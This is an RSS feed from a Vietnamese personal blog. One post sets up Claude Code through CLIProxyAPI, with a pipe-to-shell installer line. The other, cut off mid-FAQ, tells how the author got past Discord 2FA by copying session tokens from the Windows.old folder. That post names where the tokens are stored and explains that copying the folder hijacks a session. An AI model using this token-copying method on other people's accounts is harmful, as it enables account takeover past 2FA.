<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Wanderlens</title><description>Yasna&apos;s Blog</description><link>https://wanderlens.vercel.app/</link><language>en</language><item><title>Integrating CLIPROXYAPI with Claude Code: A Practical Guide</title><link>https://wanderlens.vercel.app/posts/tutclaudecode/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/tutclaudecode/</guid><description>Learn how to integrate CLIPROXYAPI with Claude Code to use various AI models through a unified proxy.</description><pubDate>Thu, 22 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&quot;Bạn yêu thích khả năng coding của Claude Code nhưng đau ví vì API cost? Hay bạn muốn dùng context siêu to khổng lồ của Gemini 3 Pro ngay trong giao diện dòng lệnh của Anthropic? Bài viết này sẽ giúp bạn biến Claude Code thành công cụ &apos;bá đạo&apos; nhất với sự trợ giúp của CLIPROXYAPI.&lt;/p&gt;
&lt;h2&gt;CLIPROXYAPI là gì?&lt;/h2&gt;
&lt;p&gt;Link: https://github.com/router-for-me/CLIProxyAPI&lt;/p&gt;
&lt;p&gt;CLIProxyAPI là một proxy API server mạnh mẽ dành cho các công cụ AI CLI như Claude Code, Gemini CLI, ChatGPT Codex và nhiều coding cli tool khác. Dự án cung cấp một API endpoint thống nhất tương thích với các chuẩn OpenAI, Claude, Gemini… để chúng ta có thể dễ dàng quản lý xác thực OAuth, điều phối yêu cầu đến nhiều nhà cung cấp AI khác nhau, và chuyển đổi định dạng API tự động - giúp các công cụ CLI sử dụng các model AI khác nhau một cách liền mạch mà không cần API key riêng từng dịch vụ.&lt;/p&gt;
&lt;h2&gt;Tại sao lại là Claude Code?&lt;/h2&gt;
&lt;p&gt;Claude Code là công cụ AI CLI hỗ trợ developer làm việc trực tiếp với code trong terminal, từ phân tích codebase, viết và refactor code đến debug và giải thích logic. Điểm mạnh của Claude Code nằm ở khả năng hiểu ngữ cảnh code lớn và reasoning sâu, giúp xử lý hiệu quả các tác vụ phức tạp như refactor quy mô lớn hoặc phân tích kiến trúc hệ thống.&lt;/p&gt;
&lt;h2&gt;Fire it up?&lt;/h2&gt;
&lt;h3&gt;Install ClaudeCode&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;irm https://claude.ai/install.ps1 | iex
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Setting up CLIProxyAPI&lt;/h3&gt;
&lt;p&gt;Chúng ta có thể download file binary tuỳ vào os.
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;
Hoặc có thể dùng CLIProxyAPIPlus để có thể add thêm GitHub Copilot và Kiro (AWS CodeWhisperer).
Tạo file &lt;code&gt;config.yaml&lt;/code&gt;(copy từ file &lt;code&gt;config.example.yaml&lt;/code&gt;)
&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;
Ở đây chúng ta có thể điều chỉnh host(nếu host CLIProxyAPI trên server thì chỉnh lại thành &quot;0.0.0.0&quot;) và port. Ngoài ra, có thể dùng remote-management để tiện quản lý Quota cũng như account(ở đây mình chỉ dùng cli nên bỏ qua).
Sau đó connect tới các provider, ở đây tôi dùng Antigravity và Codex.
Antigravity&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ./cli-proxy-api --antigravity-login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Screenshot%202026-01-24%20063812.png&quot; alt=&quot;alt text&quot; /&gt;
Codex&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ./cli-proxy-api --codex-login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Screenshot%202026-01-24%20065044.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Get it done&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;
Sau khi connect thành công thì chúng ta có thể set env trỏ ClaudeCode gọi đến API server của chúng ta. Ở đây, tôi sử dụng windows nên viết 1 powershell snipet như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$env:ANTHROPIC_BASE_URL   = &quot;http://127.0.0.1:8317&quot;   
$env:ANTHROPIC_AUTH_TOKEN = &quot;sk-dummy&quot;             

$env:ANTHROPIC_DEFAULT_SONNET_MODEL = &quot;gemini-claude-sonnet-4-5-thinking&quot;
$env:ANTHROPIC_DEFAULT_OPUS_MODEL   = &quot;gemini-claude-opus-4-5-thinking&quot;
$env:ANTHROPIC_DEFAULT_HAIKU_MODEL   = &quot;gemini-3-pro-preview&quot;

$Global:CC_MODELS = @(
  # GPT (10)
  &quot;gpt-5&quot;,
  &quot;gpt-5-codex&quot;,
  &quot;gpt-5.1-codex-max&quot;,
  &quot;gpt-5.2&quot;,
  &quot;gpt-oss-120b-medium&quot;,
  &quot;gpt-5.2-codex&quot;,
  &quot;gpt-5-codex-mini&quot;,
  &quot;gpt-5.1&quot;,
  &quot;gpt-5.1-codex&quot;,
  &quot;gpt-5.1-codex-mini&quot;,

  # Claude (3)
  &quot;gemini-claude-sonnet-4-5-thinking&quot;,
  &quot;gemini-claude-opus-4-5-thinking&quot;,
  &quot;gemini-claude-sonnet-4-5&quot;,

  # Gemini (6)
  &quot;gemini-2.5-computer-use-preview-10-2025&quot;,
  &quot;gemini-3-pro-preview&quot;,
  &quot;gemini-3-flash-preview&quot;,
  &quot;gemini-2.5-flash&quot;,
  &quot;gemini-2.5-flash-lite&quot;,
  &quot;gemini-3-pro-image-preview&quot;,

  # Qwen (2)
  &quot;qwen3-coder-plus&quot;,
  &quot;qwen3-coder-flash&quot;,

  # Other (1)
  &quot;vision-model&quot;
)

function cc-list {
  # In list models ra màn hình
  $Global:CC_MODELS
}

function cc {
  param(
    [Parameter(Mandatory)][ValidateNotNullOrEmpty()]
    [string]$Model
  )

  if ($Global:CC_MODELS -notcontains $Model) {
    Write-Warning &quot;Model &apos;$Model&apos; không có trong CC_MODELS (nhưng vẫn thử chạy).&quot;
  }

  claude --model $Model
}

function cc-set-tiers {
  param(
    [Parameter(Mandatory)][string]$Opus,
    [Parameter(Mandatory)][string]$Sonnet,
    [Parameter(Mandatory)][string]$Haiku
  )

  $env:ANTHROPIC_DEFAULT_OPUS_MODEL   = $Opus
  $env:ANTHROPIC_DEFAULT_SONNET_MODEL = $Sonnet
  $env:ANTHROPIC_DEFAULT_HAIKU_MODEL  = $Haiku

  Write-Host &quot;OK. opus=$Opus | sonnet=$Sonnet | haiku=$Haiku&quot;
}

function cc-opus   { claude --model opus   }  # dùng alias &quot;opus&quot;
function cc-sonnet { claude --model sonnet }  # dùng alias &quot;sonnet&quot;
function cc-haiku  { claude --model haiku  }  # dùng alias &quot;haiku&quot;
function cc-gemini { claude --model &quot;gemini-3-pro-preview&quot;}
function cc-gpt { claude --model &quot;gpt-5.2&quot;}
function cc-gpt-codex { claude --model &quot;gpt-5.2-codex&quot;}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ở đây chúng ta có thể dùng các alias như cc-opus, cc-gemini, cc-gpt,... để mở ClaudeCode với các model tương ứng.
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ngoài ra, chúng ta có thể sử dụng các implementation khác như ccs, antigravity-tool, … để tối ưu việc quản lý session cũng như xử lý các luồng thực thi song song (parallel sequence).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Tôi đã tìm lại Discord của mình trong đống tàn tích của Windows.old</title><link>https://wanderlens.vercel.app/posts/bypassdiscordlogin/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/bypassdiscordlogin/</guid><description>Câu chuyện về việc khôi phục tài khoản Discord sau khi cài lại Windows mà không có mã 2FA - một bài học đắt giá về data recovery và token authentication</description><pubDate>Tue, 28 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Khi Panic Mode Được Kích Hoạt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;po2.jpg&quot; alt=&quot;alt text&quot; /&gt;
Bạn đã bao giờ trải qua cảm giác tim như ngừng đập khi nhận ra mình vừa mất quyền truy cập vào một tài khoản quan trọng chưa? Đó chính xác là những gì tôi cảm thấy sau khi hoàn tất việc cài lại Windows - một màn hình đăng nhập Discord đang chờ đợi mã 2FA mà tôi... đã quên backup.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Oh sh*t moment&quot;&lt;/strong&gt; - đó là cụm từ duy nhất trong đầu tôi lúc đó.&lt;/p&gt;
&lt;p&gt;Tài khoản Discord không chỉ là nơi chat với bạn bè. Đó là:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hàng trăm servers với kiến thức quý giá&lt;/li&gt;
&lt;li&gt;Các cuộc trò chuyện công việc không thể mất&lt;/li&gt;
&lt;li&gt;Bot và automation đã config công phu&lt;/li&gt;
&lt;li&gt;Nitro subscription đang chạy...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Và giờ, tất cả sắp bay màu chỉ vì một con số 6 chữ số mà tôi không thể lấy được.&lt;/p&gt;
&lt;h2&gt;The Lightbulb Moment 💡&lt;/h2&gt;
&lt;p&gt;Sau 30 phút ngồi nhìn màn hình với tâm trạng muốn đập máy, não tôi chợt lóe lên một ý tưởng:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Wait... Discord phải lưu session ở đâu đó trên máy mình chứ nhỉ?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Và rồi một suy nghĩ khác nối tiếp:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Windows.old! Thư mục chứa toàn bộ dữ liệu từ Windows cũ vẫn còn đó!&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Đây chính là turning point. Từ chỗ tuyệt vọng, tôi bắt đầu thấy ánh sáng cuối đường hầm.&lt;/p&gt;
&lt;h2&gt;The Rescue Mission&lt;/h2&gt;
&lt;p&gt;Okay, bây giờ đến phần quan trọng nhất - làm thế nào để cứu vãn tình thế. Đây là quy trình mà tôi đã thực hiện và nó đã work like a charm.&lt;/p&gt;
&lt;h3&gt;Bước 1: Xác Nhận Windows.old Vẫn Còn Tồn Tại&lt;/h3&gt;
&lt;p&gt;Trước tiên, hãy kiểm tra xem Windows có tạo backup cho bạn không:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Mở File Explorer, navigate đến:
C:\Windows.old\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Pro tip&lt;/strong&gt;: Nếu bạn không thấy thư mục này, có thể bạn đã:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Xóa nó đi (RIP)&lt;/li&gt;
&lt;li&gt;Cài Windows với option &quot;Custom&quot; và format hoàn toàn ổ cứng&lt;/li&gt;
&lt;li&gt;Đã quá 30 ngày và Windows tự động dọn dẹp&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nếu thư mục vẫn còn, chúc mừng! Bạn vẫn còn cơ hội.&lt;/p&gt;
&lt;h3&gt;Bước 2: Deep Dive Vào Discord Data&lt;/h3&gt;
&lt;p&gt;Discord lưu trữ dữ liệu ở hai vị trí chính. Chúng ta cần cả hai:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Location 1: Roaming Data (chứa settings và configs)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows.old\Users\[TênUser]\AppData\Roaming\Discord\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Location 2: Local Data (chứa cache và quan trọng nhất - tokens)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows.old\Users\[TênUser]\AppData\Local\Discord\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đây là những gì bạn cần tìm trong mỗi thư mục:&lt;/p&gt;
&lt;h4&gt;Trong Roaming:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Local Storage/&lt;/code&gt; - Chứa authentication tokens&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Session Storage/&lt;/code&gt; - Chứa session data&lt;/li&gt;
&lt;li&gt;&lt;code&gt;settings.json&lt;/code&gt; - User preferences&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Trong Local:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Cache/&lt;/code&gt; - Cached data&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Local Storage/leveldb/&lt;/code&gt; - &lt;strong&gt;JACKPOT! Đây là nơi chứa token&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Bước 3: The Great Token Migration&lt;/h3&gt;
&lt;p&gt;Bây giờ là lúc thực hiện &quot;phép màu&quot;. Tôi khuyên bạn nên làm theo thứ tự này:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1. Đóng Discord hoàn toàn&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Mở Task Manager (Ctrl + Shift + Esc)
# Kill tất cả process liên quan đến Discord
# Hoặc dùng command line:
taskkill /F /IM Discord.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3.2. Backup dữ liệu hiện tại (just in case)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Navigate đến thư mục Discord mới
C:\Users\[TênUser]\AppData\Roaming\Discord\
# Rename folder thành Discord_backup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3.3. Copy toàn bộ data từ Windows.old&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Có hai cách tiếp cận:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option A: Copy Everything (Recommended cho người mới)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Source: C:\Windows.old\Users\[TênUser]\AppData\Roaming\Discord\
Destination: C:\Users\[TênUser]\AppData\Roaming\Discord\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Option B: Surgical Precision (Cho người muốn hiểu rõ hơn)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Chỉ copy những thư mục quan trọng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Local Storage\&lt;/code&gt; - Contains tokens&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Session Storage\&lt;/code&gt; - Session data&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cookies&lt;/code&gt; - Session cookies&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IndexedDB\&lt;/code&gt; - Additional stored data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tương tự cho thư mục Local:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Source: C:\Windows.old\Users\[TênUser]\AppData\Local\Discord\
Destination: C:\Users\[TênUser]\AppData\Local\Discord\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3.4. Verify permissions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Windows đôi khi có thể khóa permissions. Nếu gặp lỗi:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Right-click folder &amp;gt; Properties &amp;gt; Security
# Đảm bảo user account của bạn có Full Control
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bước 4: The Moment of Truth&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Khởi động lại Discord&lt;/li&gt;
&lt;li&gt;Chờ đợi... (đây là lúc tim đập thình thịch)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BOOM!&lt;/strong&gt; Bạn đã đăng nhập mà không cần 2FA!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Nếu thành công, bạn sẽ thấy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Avatar và username của bạn&lt;/li&gt;
&lt;li&gt;Tất cả servers&lt;/li&gt;
&lt;li&gt;Message history&lt;/li&gt;
&lt;li&gt;Everything như trước khi reinstall&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Behind The Scenes: Technical Deep Dive&lt;/h2&gt;
&lt;p&gt;Để hiểu tại sao phương pháp này hoạt động, chúng ta cần nói về cách Discord (và hầu hết các ứng dụng hiện đại) xử lý authentication.&lt;/p&gt;
&lt;h3&gt;Discord Token Architecture&lt;/h3&gt;
&lt;p&gt;Discord sử dụng một hệ thống authentication token-based với các đặc điểm sau:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Token Storage Location&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Local Storage/leveldb/
├── CURRENT
├── LOCK
├── LOG
├── MANIFEST-000001
└── *.ldb files  ← Tokens được lưu ở đây
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tokens được lưu trong LevelDB - một key-value store được Google phát triển. Đây là lựa chọn phổ biến cho Electron apps (Discord được xây dựng trên Electron).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Token Lifecycle&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User Login
    ↓
Discord API Authentication
    ↓
JWT Token Generated (signed với secret key)
    ↓
Token Stored in Local Storage
    ↓
Every Request → Token in Header
    ↓
Server Validates Token
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Tại Sao Copy Token Vẫn Hoạt Động?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Đây là điều thú vị:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Pseudo-code của Discord authentication flow
const storedToken = localStorage.getItem(&apos;token&apos;);

if (storedToken &amp;amp;&amp;amp; !isExpired(storedToken)) {
    // Token vẫn còn hạn → Skip login
    authenticateWithToken(storedToken);
} else {
    // Yêu cầu đăng nhập lại
    showLoginScreen();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Discord tokens có &lt;strong&gt;lifetime rất dài&lt;/strong&gt; (thường là vài tháng đến vô thời hạn nếu không có security event). Khi bạn copy token từ Windows.old:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Token vẫn valid&lt;/strong&gt; - Chưa expire&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Device fingerprint không quan trọng&lt;/strong&gt; - Discord không bind token chặt chẽ với device ID&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP có thể khác&lt;/strong&gt; - Nhưng Discord cho phép (vì user có thể di chuyển)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session persistence&lt;/strong&gt; - Token được design để tồn tại qua reinstalls&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;The Security Implications&lt;/h3&gt;
&lt;p&gt;Đây là con dao hai lưỡi:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ưu điểm cho User Experience:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Không cần đăng nhập lại liên tục&lt;/li&gt;
&lt;li&gt;Seamless experience giữa các devices&lt;/li&gt;
&lt;li&gt;Recovery được account như case của tôi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Rủi ro bảo mật:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nếu ai đó có physical access vào máy bạn
    → Copy thư mục Discord
        → Paste vào máy họ
            → Họ đã có full access vào account của bạn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Vì sao 2FA không giúp được ở đây?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2FA chỉ bảo vệ tại thời điểm login. Sau khi authenticated:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2FA Challenge → Passed → Token Generated
                              ↓
                        Token có full permissions
                              ↓
                        Copy token = Copy permissions
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How Discord Could Prevent This&lt;/h3&gt;
&lt;p&gt;Discord có thể implement:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Device Binding&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;token: {
    userId: &quot;...&quot;,
    deviceId: hash(hwid),  // Bind to hardware
    signature: &quot;...&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Frequent Re-authentication&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;if (timeSinceLastAuth &amp;gt; 7_DAYS) {
    requireReauth();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Anomaly Detection&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;if (deviceChanged || ipCountryChanged) {
    sendSecurityAlert();
    requireReauth();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nhưng tất cả đều có trade-off với user experience.&lt;/p&gt;
&lt;h2&gt;Troubleshooting: Khi Mọi Thứ Không Như Ý Muốn&lt;/h2&gt;
&lt;p&gt;Okay, nếu bạn đang đọc phần này, có nghĩa là something went wrong. Đừng panic! Dưới đây là các vấn đề phổ biến và cách xử lý:&lt;/p&gt;
&lt;h3&gt;Problem 1: Discord Vẫn Yêu Cầu 2FA&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Triệu chứng:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bạn đã copy tất cả files&lt;/li&gt;
&lt;li&gt;Discord khởi động nhưng vẫn hiện màn hình login&lt;/li&gt;
&lt;li&gt;Vẫn yêu cầu mã 2FA&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Possible causes &amp;amp; solutions:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cause 1: Token đã expired
Solution: Token có thể đã hết hạn nếu bạn cài lại Windows sau nhiều tuần/tháng
→ Thử contact Discord support với backup codes

Cause 2: Copy thiếu files
Solution:
→ Kiểm tra lại cả Roaming VÀ Local folders
→ Đảm bảo copy cả leveldb folder trong Local Storage

Cause 3: Permissions issue
Solution:
→ Right-click Discord folder
→ Properties &amp;gt; Security &amp;gt; Edit
→ Đảm bảo user của bạn có Full Control
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Problem 2: Discord Crashes Khi Khởi Động&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Triệu chứng:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Discord mở lên rồi crash ngay&lt;/li&gt;
&lt;li&gt;Hoặc hiện white screen rồi đóng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Solutions:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Method 1: Clear cache nhưng giữ token
1. Xóa Cache folder:
   C:\Users\[User]\AppData\Local\Discord\Cache\

2. Xóa GPUCache:
   C:\Users\[User]\AppData\Local\Discord\GPUCache\

3. GIỮ NGUYÊN Local Storage folder

# Method 2: Reinstall Discord nhưng backup token
1. Copy Local Storage folder ra Desktop
2. Uninstall Discord hoàn toàn
3. Cài lại Discord mới
4. Copy Local Storage folder vào lại
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Problem 3: &quot;Unable to Connect&quot; Error&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Triệu chứng:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Discord mở được nhưng stuck ở &quot;Unable to connect&quot;&lt;/li&gt;
&lt;li&gt;Hoặc &quot;Connecting...&quot; vô tận&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Solutions:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Check 1: Internet connection
ping discord.com

# Check 2: Discord servers status
# Visit: https://discordstatus.com

# Check 3: Firewall/Antivirus
→ Add Discord to firewall exceptions
→ Temporarily disable antivirus và test

# Check 4: DNS issues
→ Thử đổi DNS sang 8.8.8.8 (Google DNS)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Problem 4: Không Tìm Thấy Windows.old&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Triệu chứng:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Folder Windows.old không tồn tại&lt;/li&gt;
&lt;li&gt;Hoặc đã bị xóa&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Alternative solutions:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Option 1: Data Recovery Software
→ Sử dụng Recuva, EaseUS, hoặc tương tự
→ Scan ổ cứng tìm deleted files
→ Recover thư mục Discord

Option 2: File History (nếu đã bật)
→ Right-click Discord folder
→ Restore previous versions
→ Chọn version trước khi reinstall

Option 3: Cloud Backup
→ Check OneDrive, Google Drive
→ Xem có backup AppData không

Option 4: Contact Discord Support
→ Submit ticket với proof of ownership
→ Giải thích tình huống
→ Họ có thể disable 2FA (mất vài ngày)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Best Practices: Đừng Để Bi Kịch Lặp Lại&lt;/h2&gt;
&lt;p&gt;Sau khi recover thành công, hãy làm những điều sau NGAY LẬP TỨC:&lt;/p&gt;
&lt;h3&gt;1. Security Hardening&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt; Đổi mật khẩu Discord ngay
 Setup lại 2FA (Authenticator app, không phải SMS)
 Backup recovery codes VÀO 3 NƠI:
   - Password manager (Bitwarden, 1Password)
   - Encrypted file trong cloud (Google Drive, OneDrive)
   - Physical paper trong két an toàn

 Enable &quot;Require 2FA for guild admin actions&quot;
 Review &quot;Authorized Apps&quot; trong User Settings
 Check &quot;Devices&quot; và revoke unknown sessions
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Data Backup Strategy&lt;/h3&gt;
&lt;p&gt;Tạo một backup routine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Script để backup Discord data (chạy hàng tuần)
@echo off
set SOURCE=C:\Users\%USERNAME%\AppData\Roaming\Discord
set DEST=D:\Backups\Discord_%DATE%
xcopy &quot;%SOURCE%&quot; &quot;%DEST%&quot; /E /I /Y

# Hoặc dùng robocopy cho advanced users
robocopy &quot;%SOURCE%&quot; &quot;%DEST%&quot; /MIR /Z /LOG:backup.log
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Pre-Reinstall Checklist&lt;/h3&gt;
&lt;p&gt;Trước khi reinstall Windows lần sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;□ Backup toàn bộ AppData\Roaming
□ Backup toàn bộ AppData\Local
□ Export browser passwords &amp;amp; bookmarks
□ Backup SSH keys (~/.ssh)
□ Export email client data
□ Backup game saves
□ List installed programs (Ninite, Chocolatey)
□ Take screenshots của desktop &amp;amp; taskbar layouts
□ Document installed fonts &amp;amp; custom themes
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;FAQs: Những Câu Hỏi Thường Gặp&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q: Có phải làm vậy là vi phạm ToS của Discord không?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A: Không. Bạn đang recover tài khoản CỦA CHÍNH BẠN. Điều này không vi phạm Terms of Service. Tuy nhiên, đừng bao giờ sử dụng technique này để access account của người khác.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: Token có bị expire không? Bao lâu?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A: Discord tokens thường có lifetime rất dài (tháng/năm). Nhưng chúng có thể invalidated nếu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bạn đổi password&lt;/li&gt;
&lt;li&gt;Bạn revoke sessions trong settings&lt;/li&gt;
&lt;li&gt;Discord phát hiện suspicious activity&lt;/li&gt;
&lt;li&gt;Bạn enable/disable 2FA&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Q: Cách này có work với Discord PTB/Canary không?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A: Có! Process hoàn toàn giống nhau. Chỉ cần thay &quot;Discord&quot; bằng &quot;DiscordPTB&quot; hoặc &quot;DiscordCanary&quot; trong paths.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: Tôi có thể copy token sang máy khác không?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A: Technically yes, nhưng KHÔNG NÊN vì:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rủi ro bảo mật cao&lt;/li&gt;
&lt;li&gt;Có thể trigger security alerts&lt;/li&gt;
&lt;li&gt;Vi phạm best practices&lt;/li&gt;
&lt;li&gt;Dùng QR code login hoặc browser thay vì&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Q: Làm sao để extract raw token từ leveldb?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Dùng tool như DB Browser for SQLite hoặc leveldb-cli
# Nhưng không recommend vì:
1. Có thể corrupt database
2. Token được obfuscated
3. Không cần thiết - copy cả folder là đủ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Q: Method này có work với các app khác không?&lt;/strong&gt;&lt;/p&gt;
